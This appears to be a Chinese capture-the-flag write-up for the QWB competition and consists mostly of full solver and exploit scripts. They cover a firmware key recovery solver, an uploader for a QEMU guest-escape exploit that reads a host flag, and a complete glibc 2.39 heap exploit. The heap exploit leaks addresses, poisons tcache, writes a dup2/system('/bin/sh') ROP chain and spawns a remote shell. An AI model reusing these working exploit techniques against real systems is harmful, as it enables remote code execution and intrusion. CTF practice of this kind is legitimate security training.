# model 为冻结权重后的原始模型,actions 是长度 48 的整数张量。 h = model.initial().requires_grad_(True) before, after = [], [] objective = torch.zeros(())
for t inrange(48): before.append(h) x = F.one_hot(actions[t:t+1], 5).float() h = model.step(h, x) h.retain_grad() after.append(h) objective = objective + model.predict_reward(h).sum()
objective.backward()
with torch.no_grad(): old_h = torch.cat([v.detach() for v in before]) nominal = torch.cat([v.detach() for v in after]) costate = torch.cat([v.grad.detach() for v in after]) alternatives = model.step( old_h.repeat_interleave(5, 0), torch.eye(5).repeat(48, 1) ).reshape(48, 5, 384) gains = ((alternatives - nominal[:, None]) * costate[:, None]).sum(dim=2)
# Comparison target at VA 0x76a6. l, r = 0x4FB335A84FA7D2D7, 0x02A183E3B4F4F49F
# Invert (L,R) -> (R, L XOR F(R, round_key)) backwards. for i inrange(31, 1, -1): l, r = r ^ round_function(l, keys[i]), l
original = (l ^ keys[0]).to_bytes(8, "little") + ( r ^ keys[1] ).to_bytes(8, "little") flag = f"flag{{{original.hex()}}}" print(flag)
# Verify by reapplying all 30 rounds. l = int.from_bytes(original[:8], "little") ^ keys[0] r = int.from_bytes(original[8:], "little") ^ keys[1] for i inrange(2, 32): l, r = r, l ^ round_function(r, keys[i])
#!/usr/bin/env python3 """QWB firmware solver. Requires Python with SM3 and unicorn; Linux x86-64 or WSL.""" from pathlib import Path import argparse, hashlib, os, shlex, struct, subprocess, tempfile, tarfile from unicorn import Uc, UC_ARCH_RISCV, UC_MODE_RISCV32 from unicorn.riscv_const import UC_RISCV_REG_SP, UC_RISCV_REG_A0, UC_RISCV_REG_RA
defsm3(x): return hashlib.new('sm3', x).digest() S=bytes.fromhex('d690e9fecce13db716b614c228fb2c05 2b679a762abe04c3aa44132649860699 9c4250f491ef987a33540b43edcfac62 e4b31ca9c908e89580df94fa758f3fa6 4707a7fcf37317ba83593c19e6854fa8 686b81b27164da8bf8eb0f4b70569d35 1e240e5e6358d1a225227c3b01217887 d40046579fd327524c3602e7a0c4c89e eabf8ad240c738b5a3f7f2cef96115a1 e0ae5da49b341a55ad933230f58cb1e3 1df6e22e8266ca60c02923ab0d534e6f d5db3745defd8e2f03ff6a726d6c5b51 8d1baf92bbddbc7f11d95c411f105ad8 0ac13188a5cd7bbd2d74d012b8e5b4b0 8969974a0c96777e65b9f109c56ec684 18f07dec3adc4d2079ee5f3ed7cb3948') defrol(x,n):return ((x<<n)|(x>>(32-n)))&0xffffffff deftau(x):returnsum(S[(x>>(8*j))&255]<<(8*j) for j inrange(4)) deflp(x):return x^rol(x,13)^rol(x,23) defrecover(ks): K=[0]*4+ks[:] for i inrange(31,-1,-1): ck=int.from_bytes(bytes(((4*i+j)*7)&255for j inrange(4)),'big') K[i]=K[i+4]^lp(tau(K[i+1]^K[i+2]^K[i+3]^ck)) return struct.pack('>4I',*(x^y for x,y inzip(K[:4],[0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc]))) defexpand(key): K=[x^y for x,y inzip(struct.unpack('>4I',key),[0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc])] for i inrange(32): ck=int.from_bytes(bytes(((4*i+j)*7)&255for j inrange(4)),'big') K.append(K[i]^lp(tau(K[i+1]^K[i+2]^K[i+3]^ck))) return K[4:] defenc(block,ks): X=list(struct.unpack('>4I',block)) for i inrange(32): v=tau(X[i+1]^X[i+2]^X[i+3]^ks[i]);X.append(X[i]^v^rol(v,2)^rol(v,10)^rol(v,18)^rol(v,24)) return struct.pack('>4I',*X[-4:][::-1])
defkey_from_tables(a): blob=a[0xb3240:0xd3268] assert sm3(blob)[:16] == a[0xb31e0:0xb31f0] perm=list(blob[8:40]); tables=struct.unpack('>32768I',blob[40:]) stored=[] for r inrange(32): word=0 for j inrange(4): values=[(v>>(8*j))&255for v in tables[(4*r+j)*256:(4*r+j+1)*256]] hits=[v for v inrange(256) ifall(values[x]==S[x^v] for x inrange(256))] assertlen(hits)==1 word |= hits[0] << (8*j) stored.append(int.from_bytes(word.to_bytes(4,'little'),'big')) # Physical slot perm[i] contains logical round i. rounds=[stored[perm[i]] for i inrange(32)] key=recover(rounds) assert expand(key)==rounds return key
defpatch_for_seeds(a): a=bytearray(a) a[0x1fb3:0x1fb9]=b'\x90'*6 # Hook stream-generator entry; write its seed to stderr and restore registers. hook=bytes.fromhex('50575652514153 4889f2 4889fe bf02000000 b801000000 0f05 415b595a5e5f58 f30f1efa4157') hook+=b'\xe9'+struct.pack('<i',0x403436-(0x401810+len(hook)+5)) a[0x1810:0x1810+len(hook)]=hook a[0x3430:0x3436]=b'\xe9'+struct.pack('<i',0x401810-0x403435)+b'\x90' a[0xea6c0:0xea6e0]=sm3(a[0x11c0:0x11c0+0xaa6fd]) return a
defrun_fw(folder, binary, keymat, vmout, distro, dump=False): args=[f'./{binary}','ota_package.bin',keymat.hex(),vmout.hex()] if os.name=='nt': # All generated work stays in our temporary directory. path=folder.as_posix(); path='/mnt/'+path[0].lower()+path[2:] cmd='cd '+shlex.quote(path)+' && chmod +x '+shlex.quote(binary)+' && '+shlex.join(args) if dump: cmd+=' 2> seeds.bin' subprocess.run(['wsl','-d',distro,'--','bash','-lc',cmd],check=True) else: (folder/binary).chmod(0o700) if dump: with (folder/'seeds.bin').open('wb') as err: subprocess.run(args,cwd=folder,stderr=err,check=True) else: subprocess.run(args,cwd=folder,check=True)
defmain(): ap=argparse.ArgumentParser(description=__doc__) ap.add_argument('archive',type=Path) ap.add_argument('--wsl-distro',default='kali-linux') opts=ap.parse_args() with tempfile.TemporaryDirectory(prefix='qwb_wp_') as tmp: folder=Path(tmp) with tarfile.open(opts.archive,'r:gz') as tar: # Read only the three expected members; execute only the analyzed x86 program. for name in ['fw_a','fw_b.bin','ota_package.bin']: (folder/name).write_bytes(tar.extractfile(name).read()) a=(folder/'fw_a').read_bytes(); b=(folder/'fw_b.bin').read_bytes() p=(folder/'ota_package.bin').read_bytes() keymat=riscv_key(b) assert sm3(keymat)[:16]==a[0xb3200:0xb3210] key=key_from_tables(a) print('keymat =',keymat.hex(),flush=True) print('SM4 key =',key.hex(),flush=True) (folder/'fw_debug').write_bytes(patch_for_seeds(a)) run_fw(folder,'fw_debug',keymat,bytes(8),opts.wsl_distro,True) seeds=(folder/'seeds.bin').read_bytes() count=struct.unpack_from('<H',p,24)[0] assertlen(seeds)==16*count import zlib stack=[]; plain_all=bytearray() defrol8(x,n): return ((x<<n)|(x>>(8-n)))&255 for seg inrange(count): off,n,crc=struct.unpack_from('<III',p,60+12*seg) seed=seeds[16*seg:16*seg+16] ks=b''.join(sm3(seed+i.to_bytes(4,'big')) for i inrange((n+31)//32)) plain=bytes(x^y for x,y inzip(p[off:off+n],ks)) assert zlib.crc32(plain)==crc plain_all.extend(plain) print('segment',seg,'seed',seed.hex(),'plain',plain.hex(),flush=True) i=0 while i<len(plain): op=plain[i]; i+=1 typ=op&127; idx=(op>>7)*4+typ-1; arg=0 if typ==1: arg=plain[i]; i+=1 if idx==0: stack.append(arg) elif idx==1: stack.append(stack.pop()^stack.pop()) elif idx in [2,6]: stack.pop() elif idx in [3,7]: break elif idx==4: stack.append(rol8(arg^0x5a,4)) elif idx==5: x=stack.pop()^stack.pop() stack.append((x&~255)|rol8(x&255,3)) else: raise ValueError('Unknown opcode') assert sm3(plain_all)==p[28:60] vmout=bytes(stack) assertlen(vmout)==8 secret=bytes(x^0x5afor x in a[0xb3210:0xb3227]) root=sm3(keymat+sm3(secret)[:16]+vmout)[:16] counter=sm3(b'twin-ctr'+root)[:16] assert sm3(counter)[:16]==a[0xb31f0:0xb3200] print('vm_out8 =',vmout.hex(),flush=True) print('root =',root.hex(),flush=True) print('counter =',counter.hex(),flush=True) run_fw(folder,'fw_a',keymat,vmout,opts.wsl_distro) trailer=max(struct.unpack_from('<II',p,60+12*i)[0]+struct.unpack_from('<II',p,60+12*i)[1] for i inrange(count)) assert p[trailer:trailer+8]==b'QWBPFLAG' n=struct.unpack_from('<I',p,trailer+8)[0] ct=p[trailer+12:trailer+12+n] rounds=expand(key); initial=int.from_bytes(counter,'big') stream=b''.join(enc((initial+i).to_bytes(16,'big'),rounds) for i inrange((n+15)//16)) flag=bytes(x^y for x,y inzip(ct,stream)) assertbytes(x^y for x,y inzip(flag,stream))==ct print('FLAG =',flag.decode())
#!/usr/bin/env python3 """Upload the guest exploit, run it, and keep reading so the host-side cat output is captured.""" import argparse, base64, gzip, hashlib, re, select, socket, sys, time from pathlib import Path
MARK = '__EZQ_END__'
defread_until(sock, needle, timeout, echo=True): buf = bytearray(); end = time.monotonic() + timeout while time.monotonic() < end: r, _, _ = select.select([sock], [], [], min(0.5, max(0, end - time.monotonic()))) ifnot r: continue try: chunk = sock.recv(8192) except OSError: returnbytes(buf) ifnot chunk: returnbytes(buf) buf.extend(chunk) if echo: sys.stdout.buffer.write(chunk); sys.stdout.buffer.flush() if needle in buf: returnbytes(buf) returnbytes(buf)
defmain(): ap = argparse.ArgumentParser() ap.add_argument('host'); ap.add_argument('port', type=int) ap.add_argument('--binary', default=str(Path(__file__).with_name('ez_qemu_escape_guest'))) ap.add_argument('--pace', type=float, default=0.05) ap.add_argument('--cmd', default='cat /tmp/flag_f') ap.add_argument('--hold', type=float, default=25.0) a = ap.parse_args() raw = Path(a.binary).read_bytes() digest = hashlib.sha256(raw).hexdigest() enc = base64.b64encode(gzip.compress(raw, 9, mtime=0)).decode() wrapped = '\n'.join(enc[i:i+76] for i inrange(0, len(enc), 76)) frame = ('begin-base64 644 ex.gz\n' + wrapped + '\n====\n' + MARK + '\n').encode() print(f'[i] ELF {len(raw):,}B frame {len(frame):,}B sha256 {digest}', flush=True) s = socket.create_connection((a.host, a.port), timeout=25); s.settimeout(None) print('[i] connected, waiting for guest shell', flush=True) read_until(s, b'/ #', 60) s.sendall(b'mkdir -p /tmp; stty -echo 2>/dev/null; echo __RDY__\n'); read_until(s, b'__RDY__\r\n', 15) s.sendall(b"uudecode -o /tmp/ex.gz <<'" + MARK.encode() + b"'\n") for i inrange(0, len(frame), 512): s.sendall(frame[i:i+512]) if a.pace: time.sleep(a.pace) s.sendall(b'echo __TD__\n'); read_until(s, b'__TD__\r\n', 120, echo=False) s.sendall(b'gunzip -c /tmp/ex.gz > /tmp/ex && chmod +x /tmp/ex; echo __H__; sha256sum /tmp/ex; echo __HE__\n') res = read_until(s, b'__HE__\r\n', 40) m = re.search(rb'([0-9a-f]{64})\s+/tmp/ex', res) ifnot m or m.group(1).decode() != digest: print('[!] upload hash mismatch', flush=True); return1 print('[+] upload ok', flush=True) s.sendall(b"stty echo\n/tmp/ex '" + a.cmd.encode() + b"'\n") # keep reading; the host-side `cat` writes the flag into this socket end = time.monotonic() + a.hold got = bytearray() while time.monotonic() < end: r, _, _ = select.select([s], [], [], 0.5) ifnot r: continue try: c = s.recv(8192) except OSError: break ifnot c: break got.extend(c); sys.stdout.buffer.write(c); sys.stdout.buffer.flush() try: s.sendall(b'poweroff -f\n') except OSError: pass time.sleep(1) s.close() txt = bytes(got) fl = re.search(rb'flag\{[^}]*\}', txt) print('\n================ RESULT ================') if fl: print('[FLAG]', fl.group().decode()) else: print('[!] no flag pattern in captured output') return0
扫这块堆的时候发现 A + 0x190 处永远有一个 PIE 代码指针,多次运行低 12 位恒为 0x6d8:
1
v = read64(A + 0x190) # e.g. 0x55df3ba8a6d8
从它开始按页往下走找 ELF magic:
1 2 3 4
for k inrange(0x30): cand = v - 0x6d8 - k*0x1000 if read64(cand) & 0xffffffff == 0x464c457f: # "\x7fELF" pie = cand; break
候选地址始终落在 PIE 的映射内,不会读崩;最多 48 次读就能命中。
拿到 PIE 之后,libc 从 GOT 里取——__libc_start_main 在 main 之前必然已经解析:
1
libc = read64(pie + 0x19fd0) - 0x2a200
这个方案的优点:与 arena 类型完全无关,主堆、线程堆都能用。
1
environ = read64(libc + 0x20bd58) # libc 的 environ 符号
command_loop 的返回地址槽稳定在 environ - 0x270,槽里的值是 pie + 0x5118。先扫窄窗口 0x220~0x2c0,找不到再放宽到 0x80~0x900:
1 2 3 4 5 6
want = pie + 0x5118 for lo, hi in ((0x220, 0x2c0), (0x80, 0x900)): addrs = [environ - 8*i for i inrange(lo//8, hi//8)] for a, v inzip(addrs, read_words(addrs)): if v == want: saved_rip = a
defread_words(self, addrs): out=[] i=0 while i<len(addrs): n=min(5,len(addrs)-i) out+=self.read_many(addrs[i:i+n]) i+=n return out
defleak_pie_libc(self): """PIE via the code pointer the game keeps at A+0x190, libc via GOT.
Works whether the dangling Ring lives in a thread arena (mmap) or in the main arena (brk heap), so it no longer depends on the allocator layout. """ v=self.read64(self.A+0x190) print('[+] heap[A+0x190] = %#x'%v,flush=True) ifnot (0x400000000000<=v<0x7f0000000000) orabs(v-self.A)<0x200000: print('[!] A+0x190 does not look like a PIE code pointer',flush=True) returnNone,None # every candidate while walking down stays inside the PIE mapping pie=None for k inrange(0x30): cand=v-0x6d8-k*0x1000 if cand<0x400000000000: break if (self.read64(cand)&0xffffffff)==ELF_PREFIX: pie=cand;break if pie isNone: print('[!] PIE base not found by ELF magic',flush=True) returnNone,None print('[+] PIE base: %#x (from heap code ptr)'%pie,flush=True) libc=self.read64(pie+GOT_START_MAIN)-LIBC_START_MAIN if libc&0xfff: print('[!] implausible libc base %#x'%libc,flush=True) return pie,None print('[+] libc base: %#x (GOT __libc_start_main)'%libc,flush=True) return pie,libc
# Provided challenge's libc 2.39 and executable layout. GOT_START_MAIN = 0x19fd0# GOT slot of __libc_start_main LIBC_START_MAIN = 0x2a200# its offset inside libs/libc.so.6 POP_RDI=0x10c08d POP_RSI=0x110b7d DUP2=0x116c30 SYSTEM=0x58750 BINSH=0x1cc42f CLIENT_FD_ELF_OFFSET=0x1a040
defexploit(c): e=Leak(c) pie,libc=e.leak_pie_libc() if pie isNoneor libc isNone: raise RuntimeError('PIE/libc leak failed') # environ lives in libc; the command_loop return address slot sits at a # stable offset below it, so probe a narrow window first and widen after. environ=e.read64(libc+LIBC_ENVIRON_OFFSET) print('[+] environ = %#x'%environ,flush=True) want=pie+0x5118 saved_rip=None for lo,hi in ((0x220,0x2c0),(0x80,0x900)): addrs=[environ-8*i for i inrange(lo//8,hi//8)] for a,v inzip(addrs,e.read_words(addrs)): if v==want: saved_rip=a;break if saved_rip: break if saved_rip isNone: raise RuntimeError('saved RIP slot not found') print('[+] saved RIP at %#x (environ-%#x)'%(saved_rip,environ-saved_rip),flush=True) client_fd=e.read64(pie+CLIENT_FD_ELF_OFFSET) ifnot3<=client_fd<1024: raise RuntimeError('implausible socket fd: %s'%client_fd) print('[+] libc=%#x PIE=%#x saved_rip=%#x socket_fd=%d'% (libc,pie,saved_rip,client_fd),flush=True)
defsend(cmd,expected=None): ans=c.send(cmd,.23) if expected isnotNoneand expected notin ans: raise RuntimeError('unexpected result for %s: %s'%(cmd,ans[-600:])) return ans
# The 5-slot drop-vector already exists from Leak(). Do not 'pickup' the # remaining arbitrary pointers left by address disclosure: only replace # and collect the first two actual entries. whisper(payload()) send('mw pickup 0','pickup queued') send('mw pickup 0','pickup queued') send('inv equip 0','equip') send('mw throw 1','throws equipped item') # remove original Tree Branch
y=payload() y[0x90:0x98]=p64(weapon_y) y[0x68:0x70]=p64(0x51) y[0x70:0x78]=p64(3) y[0x78:0x7c]=struct.pack('<I',1) whisper(y) send('mw pickup 0','pickup queued') # Inventory now [R1,R2,WeaponX,WeaponY]. Free both ring descriptions # in the transaction thread's tcache (different from world-thread tcache). send('inv drop 0','inventory queued drop') send('inv drop 0','inventory queued drop') whisper(payload(True)) # safe-linked fd = target XOR (g2 >> 12) send('inv drop 0','inventory queued drop') # malloc(0xe8) consumes g2
# Restore WeaponY AFTER the first allocation, which otherwise overwrites # its forged source object. WeaponY's 0xe8-byte clone becomes our ROP. rr=payload(True) rr[0x68:0x70]=p64(0x51) rr[0x70:0x78]=p64(3) rr[0x78:0x7c]=struct.pack('<I',1) prdi=libc+POP_RDI prsi=libc+POP_RSI ret=prdi+1 rop=[ret] for dst in (0,1,2): rop.extend((prdi,client_fd,prsi,dst,libc+DUP2)) rop.extend((prdi,libc+BINSH,ret,libc+SYSTEM)) packed=b''.join(map(p64,rop)) assertlen(packed)<=0xe8-0x18 rr[0x88:0x88+len(packed)]=packed whisper(rr) send('inv drop 0','inventory queued drop') # next malloc(0xe8) -> stack print('[+] Wrote %d-byte ROP chain to saved RIP using tcache poisoning'%len(packed),flush=True)
print('[+] Triggering command_loop return...',flush=True) send('quit','bye') # shell process now runs on our socket via dup2(fd,0/1/2) return c
definteractive(sock): import threading defreader(): try: whileTrue: x=sock.recv(65536) ifnot x:break sys.stdout.buffer.write(x) sys.stdout.buffer.flush() except OSError:pass t=threading.Thread(target=reader,daemon=True) t.start() try: for line in sys.stdin.buffer: sock.sendall(line) except (KeyboardInterrupt,BrokenPipeError,ConnectionResetError):pass
defmain(): ap=argparse.ArgumentParser(description='Bad Puppet glibc 2.39 heap-to-stack ROP shell') ap.add_argument('host',nargs='?',default='127.0.0.1') ap.add_argument('port',nargs='?',type=int,default=31337) ap.add_argument('--local',action='store_true',help='start the bundled binary locally') ap.add_argument('--binary-dir',default='./bad_puppet',help='folder containing bad_puppet and libs/') ap.add_argument('--interactive',action='store_true',help='keep stdin/stdout attached to spawned shell') ap.add_argument('--slow',type=float,default=1.0,help='multiply all response timeouts (use 2-3 on high latency)') ap.add_argument('--cmd',default='echo __PWNED__; id; cat /flag 2>/dev/null; echo __DONE__', help='shell command to run (default checks id and /flag)') a=ap.parse_args() global PACE PACE=a.slow c=Conn(a.host,a.port,binary_dir=a.binary_dir if a.local elseNone) try: exploit(c) c.sock.sendall((a.cmd+'\n').encode()) out=c.recv(.45) print(out,end=''if out.endswith('\n') else'\n',flush=True) if'__PWNED__'in out: print('[+] VERIFIED: commands executed through remote shell',flush=True) else: print('[!] No shell confirmation in output; check target/libc',flush=True) if a.interactive: print('[*] Interactive shell: type commands, Ctrl-C to leave',flush=True) interactive(c.sock) finally: c.close()
#!/usr/bin/env python3 """Locate an unsorted-bin chunk near A in the main arena and derive libc base.""" import sys sys.path.insert(0, '/exp') import bad_puppet_exp2 as E
c = E.Conn(host, port) try: L = E.Leak(c) A = L.A print('[+] A=%#x' % A, flush=True) addrs = [A + 8*i for i inrange(span//8)] vals = [] i = 0 while i < len(addrs): n = min(5, len(addrs)-i) vals += L.read_many(addrs[i:i+n]) i += n hits = [] for i inrange(len(vals)-1): v = vals[i] if v == vals[i+1] and0x700000000000 <= v < 0x800000000000and (v & 0xfff) == (MAIN_ARENA + UNSORTED_OFF) & 0xfff: hits.append((i*8, v)) for off, v in hits: libc = v - MAIN_ARENA - UNSORTED_OFF ok = (L.read64(libc) & 0xffffffff) == E.ELF_PREFIX print('[+] unsorted fd/bk at A+%#x = %#x -> libc %#x magic_ok=%s' % (off, v, libc, ok), flush=True) ifnot hits: print('[!] no unsorted chunk found in A..A+%#x' % span, flush=True) finally: c.close()
头疼, 强网这边 pwn 不仅题目多,而且还有盲 pwn !没有附件的 pwn 真是,除了 ai 写,人写要似了。